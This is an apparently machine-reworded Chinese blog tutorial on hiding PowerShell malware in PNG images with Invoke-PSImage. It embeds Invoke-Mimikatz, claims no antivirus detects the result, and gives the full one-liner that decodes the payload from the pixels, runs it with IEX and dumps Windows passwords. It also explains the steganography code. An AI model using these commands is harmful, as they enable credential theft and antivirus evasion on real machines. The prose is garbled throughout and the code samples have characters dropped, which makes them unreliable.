序言
伴随着如今电脑杀毒软件的不断创新和升級,怎样才可以把恶意代码上传入网络攻击的网络服务器而不被电脑杀毒软件所杀毒,也许是灰产有关工作人员始终绕但是的话题讨论。近期见到一则信息,有一款ku病毒【MyKingz】为了更好地掩藏本身的恶意代码,将编码掩藏在taylor swift的图象中,以完成脱壳破解的实际效果。下面我将以案例演试,看一下恶意代码是如何隐藏在图片中并开展启用的。
恶意代码掩藏案例及演试
环?境
windows server 2008r2
Invoke-
Invoke-Mimikatz.ps1
Invoke-PSImage是一款powershell脚本制作,关键作用是将powershell编码掩藏在图片的有关位。
Invoke-Mimikatz,这一很有可能很多人都了解,能够爬取windows系统软件的密文账户密码,是网络黑客在网站渗透测试常运用的一款脚本制作,操作方法以下:
点一下加上图片叙述(数最多60个字)
根据virustotal检验。
点一下加上图片叙述(数最多60个字)
现阶段绝大多数杀毒软件都是会杀毒这一脚本制作。
下面powershell导进Invoke-PSImage
Import-Module .\\Invoke-PSimage.ps1
Invoke-PSImage -Script .\\Invoke-Mimikatz.ps1 -Out .\\sojrs_mimikatz.png -image .\\images\\sojrs-2.png
这儿-script表明你需要载入图片中的powershell脚本制作,-image 表明待载入恶意代码的图片,-Out 表明最终载入取得成功的图片,powershell的脚本制作可能掩藏在这个图片。
实行取得成功以后,会转化成一条指令,根据该指令能够载入图片中的恶意代码并实行。
能够见到,嵌入恶意代码的图片仍能一切正常表明,和原照对比,有一丝不一样。
点一下加上图片叙述(数最多60个字)
根据virustotal查验sojrs_mimikatz.png,沒有一款检验出去,取得成功绕开全部的杀手机软件。
点一下加上图片叙述(数最多60个字)
运用该图片载入系统软件账户密码
Sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:?\\sojrs\\Desktop\\Invoke-PSImage\\sojrs_mimikatz.png");$o=a Byte[]2205000;(0..1469)|%{foreach($x in(0..1499)){$p=$g.GetPixel($x,$_);$o[$_*1500 $x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2204116]));invoke-Mimikatz
点一下加上图片叙述(数最多60个字)
因而根据Invoke-PSImage,大家取得成功把故意的mimikatz的登陆密码爬取脚本制作掩藏在图片之中,并根据一条指令实行了登陆密码爬取作用,且取得成功绕开全部电脑杀毒软件的杀毒。
PSImage剖析
这儿关键有两个难题:
1.PSImage是如何把恶意代码载入到图片的?
2.Powershell是怎么启用图片中的恶意代码的?
这种难题,我们可以阅读文章一下invoke-PSImage的源代码来剖析一下。
在这里以前先简易掌握一个定义,图片是以清晰度为企业的,一个像素数用rgb方式即是rgb(0x66,0x67,0x68) ,因此一个像素数是3个字节共24位。那麼PSImage关键基本原理便是将payload变为字节数后,每个字节储存到图片的每一个清晰度中。例如我觉得储存英文字母A(0x41),二进制表明为(01000001),高4位为0100,低4位为0001。这时PSImage可能把高4位储存在某一像素数颜色分量B的低4位,将payload的低4位储存在颜色分量G的低4位。最终依照这类规律性载入图片中的回应的低4位做拼凑,变为标识符后实行有关脚本制作指令。由于rgb方式,在其中颜色分量关键在于高4位,低4位的变化从身体感观上难以认知到颜色的转变,因此这儿更换的均为颜色分量的低4位。
图例以下:
点一下加上图片叙述(数最多60个字)
掌握到之上的基本概念以后,大家看来一下PSImage的重要完成编码
for ($counter=0; $counter -lt ($rgbValues.Length)/3; $counter ){
if ($counter -lt $payload.Length){
$paybyte1=[math]::Floor($payload[$counter]/16)
$paybyte2=($payload[$counter]-band 0x0f)
$paybyte3=($randb[($counter 2)9]-band 0x0f)
#载入payload的前后左右4位,paybyte1为前4位,paybyte2为后4位,band=&与运算,bor=|或运算,paybyte3为随机数字,无关痛痒
#以payload[$counter]=A为例子剖析,
#paybyte1=0x41/0x01 取商为0x04,即取下了payload的高四位
#paybyte2=0x41 & 0x0f==0x01,即取下了payload的低四位
}else{
$paybyte1=($randb[$counter3]-band 0x0f)
$paybyte2=($randb[($counter 1)g]-band 0x0f)
$paybyte3=($randb[($counter 2)9]-band 0x0f)
#若电子计数器超过payload长短,则添充随机数字
}
$rgbValues[($counter*3)]=($rgbValues[($counter*3)]-band 0xf0) -bor $paybyte1
#这儿rgbvalues($counter*3)表明B颜色分量,rgbValues[($counter*3 1)表明G颜色分量,各自与原先图片的低4位开展或运算进而储存
$rgbValues[($counter*3 1)]=($rgbValues[($counter*3 1)]-band 0xf0) -bor $paybyte2
$rgbValues[($counter*3 2)]=($rgbValues[($counter*3 2)]-band 0xf0) -bor $paybyte3
}
之上这一段便是储存payload到图片中的关键编码,即是图例的基本原理,解决了大家以前明确提出的第一个难题。
对于第二个难题,如今了解了第一个难题以后,如今应当内心有数量了,只不过便是反向回来,载入故意图片的gb颜色分量的低4位,变为标识符后启用powershell实行有关指令,下边看下编码的案例,这儿为便于收看,我用实行sojrs_mimikatz.png的指令讲解
sal a New-Object;
Add-Type -A System.Drawing;
$g=a System.Drawing.Bitmap("C:\\Users\\sojrs\\Desktop\\sojrs_mimikatz.png");
$o=a Byte[]2877;
(0..2)|%{foreach($x in(0..958))
{$p=$g.GetPixel($x,$_);
$o[$_*959 $x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};
#反向全过程,循环系统载入故意图片清晰度中的B,G颜色分量的低4位,并将B的低4位开展进位,随后或运算后即是payload的字节数关系式
$g.Dispose();
IEX([System.Text.Encoding]::ASCII.GetString($o[0..2839]))
#将payload变为标识符
最后即获得到一个恶意代码的目标,假如要想实行该目标的有关方式 ,后边加上分号就可以,以mimikatz载入系统软件登陆密码为例子
点一下加上图片叙述(数最多60个字)
小结
1.图片仅仅用以掩藏恶意代码。
2.根据简易的脚本制作指令能够载入图片的有关位并转到成恶意代码。
3.故意图片能够没有当地,根据web浏览获得,进而完成无文档载入登陆密码、敲诈勒索、挖币等。但充分考虑可靠性,勒索软件一般依然会放到当地。
4.这类进攻方式类似dll注入,仅仅恶意代码并不是放到dll文档中,只是掩藏在图片中。
全自动运维管理|运维管理专用工具的不断迅速交货实践活动
【风险】可绕开防毒软件的Snatch病毒感染来啦!!!
当碉堡机会上防水坝,1 1撞击的安全性便是那么稳!
Android勒索病毒剖析
运维管理日记|运用python完成一个简易的运维管理系统数据图表